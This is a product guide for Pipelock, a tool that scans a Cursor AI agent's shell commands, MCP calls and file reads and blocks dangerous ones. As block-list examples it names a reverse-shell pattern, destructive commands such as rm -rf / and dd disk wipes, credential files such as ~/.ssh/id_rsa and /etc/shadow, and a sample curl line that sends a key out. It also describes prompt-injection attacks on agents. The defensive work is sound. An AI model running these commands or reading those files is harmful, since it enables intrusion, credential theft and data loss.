Cursor AI Security: Scanning Hooks with Pipelock

Cursor AI security matters because the agent has shell access, can read your files, and calls MCP tools on your behalf. If the agent gets tricked by a prompt injection or a poisoned MCP server, it can exfiltrate credentials, open reverse shells, or destroy your repository.

Pipelock adds a security layer between Cursor’s agent and those actions. When hooks are installed and active, shell commands, MCP tool calls, and file reads pass through Pipelock’s scanning pipeline before they execute.

Install

Install the binary:

# Homebrew (macOS / Linux)
brew install luckyPipewrench/tap/pipelock

# Go
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

Register the hooks:

pipelock cursor install

Restart Cursor. That’s it.

The install command writes ~/.cursor/hooks.json with three hooks: beforeShellExecution, beforeMCPExecution, and beforeReadFile. Each hook calls pipelock cursor hook, which reads the event from stdin, scans it, and returns an allow or deny decision.

Demo

The agent tries to run a curl command containing a fake AWS access key. Pipelock’s DLP scanner catches the credential pattern and blocks the command before it reaches the shell. Cursor shows “(Rejected)” with an explanation of what was blocked and why.

What it blocks

Credential exfiltration (DLP). 48 credential patterns covering AWS keys, GitHub tokens, Anthropic/OpenAI API keys, private keys, JWTs, Google OAuth secrets, Slack tokens, financial account numbers, and more. Includes 4 checksum validators (Luhn, mod97, ABA, WIF) for structured formats. Catches secrets in shell arguments, MCP tool inputs, and file contents. Handles base64, hex, and URL encoding.

Dangerous shell commands. Reverse shells (bash -i >& /dev/tcp/...), destructive operations (rm -rf /), force pushes (git push --force), disk wipes (dd if=/dev/zero), and shell obfuscation techniques (variable expansion, brace expansion, encoded commands).

Sensitive file access. Blocks reads of ~/.ssh/id_rsa, ~/.aws/credentials, .env, /etc/shadow, .netrc, and other credential files.

Prompt injection in MCP tools. Scans MCP tool arguments for injection patterns and credential leaks before the tool executes.

How it works

Cursor’s hooks system sends a JSON event to stdin when the agent tries to execute an action:

{
  "hook_event_name": "beforeShellExecution",
  "command": "curl https://httpbin.org/get?token=AKIAIOSFODNN7EXAMPLE",
  "cwd": "/home/user/project"
}

Pipelock evaluates the event against its scanning pipeline and responds:

{
  "permission": "deny",
  "user_message": "pipelock: blocked (DLP: AWS Access Key ID)",
  "agent_message": "This action was blocked by pipelock security scanning."
}

Cursor displays the user_message to you and the agent_message to the AI. The agent sees the block and adjusts its approach.

Custom config

By default, pipelock cursor hook uses a built-in security profile with 9 tool policy rules and all scanning features enabled. To customize:

# Generate a config file
pipelock generate config --preset cursor > ~/.config/pipelock/cursor.yaml

# Use it with the hook
pipelock cursor install --config ~/.config/pipelock/cursor.yaml

The cursor preset is a good starting point. See the configuration reference for all options.

Verify the installation

After installing, confirm the hooks are registered:

pipelock verify-install

This runs 10 checks validating the scanning pipeline, network containment, and hook configuration.

Proof: CI gate on a signed posture capsule

Generate a signed posture capsule, then verify it against a policy. This is the CI-friendly way to gate deploys on runtime evidence:

pipelock posture emit -o .pipelock/posture
pipelock posture verify \
  --proof .pipelock/posture/proof.json \
  --key   .pipelock/posture/key.pub \
  --policy strict \
  --json

Output (abridged):

{
  "verified": true,
  "passed": true,
  "score": 92,
  "policy": "strict",
  "policy_version": "2",
  "factor_scores": {
    "transport_ratio":        {"raw_percent": 100, "weighted": 25},
    "recorder_health":        {"raw_percent": 100, "weighted": 25},
    "simulate_pass_rate":     {"raw_percent":  96, "weighted": 24},
    "discovery_cleanliness":  {"raw_percent":  72, "weighted": 18}
  }
}

Exit 0 means the Ed25519 signature validated and every policy gate passed. Exit 1 means the capsule was unreadable. Exit 2 means the signature was valid but a gate failed. Three states, three different CI actions.

Scan your repo first

Before starting work in a new repository, scan it for dangerous IDE config files that might have been committed by a previous contributor:

pipelock preflight .

This detects poisoned .cursor/hooks.json, .cursor/mcp.json, .mcp.json, and .claude/settings.json files that could override your security settings or register malicious MCP servers.

What’s new in recent releases

Cursor hooks return allow or deny decisions per tool call. Recent releases add operator-grade evidence around them:

• pipelock posture verify CI gate (v2.2.0). Verify a signed posture capsule against a named policy (enterprise or strict). Exit codes are distinct: 0 pass, 1 could not complete, 2 verified but failed. CI knows the difference between “broken” and “over-permissive”.
• RFC 9421 mediation envelope signing (v2.2.0). If Cursor’s MCP servers are also wrapped through pipelock mcp proxy, every proxied request carries an Ed25519 Pipelock-Mediation signature with a canonical policy hash. Coexists with Web Bot Auth sig1 on the same request.
• Mediator-signed action receipts on the MCP path (v2.2.0). When receipt signing is configured (flight_recorder.signing_key_path in the pipelock config), every wrapped MCP proxy decision emits a chained Ed25519 receipt. Byte-verifiable offline with a published Python verifier.
• Class-preserving redaction on tools/call arguments (v2.3.0). When Cursor’s MCP servers are wrapped through pipelock mcp proxy and the redaction section is enabled in the pipelock config, matched secrets inside params.arguments are rewritten in place with typed placeholders like <pl:aws-access-key:1> before forwarding. Irreversible. Fail-closed on parse errors. Tool responses are not redacted in v1.

See the action receipt spec for the receipt format and the AI agent data redaction guide for redaction rollout.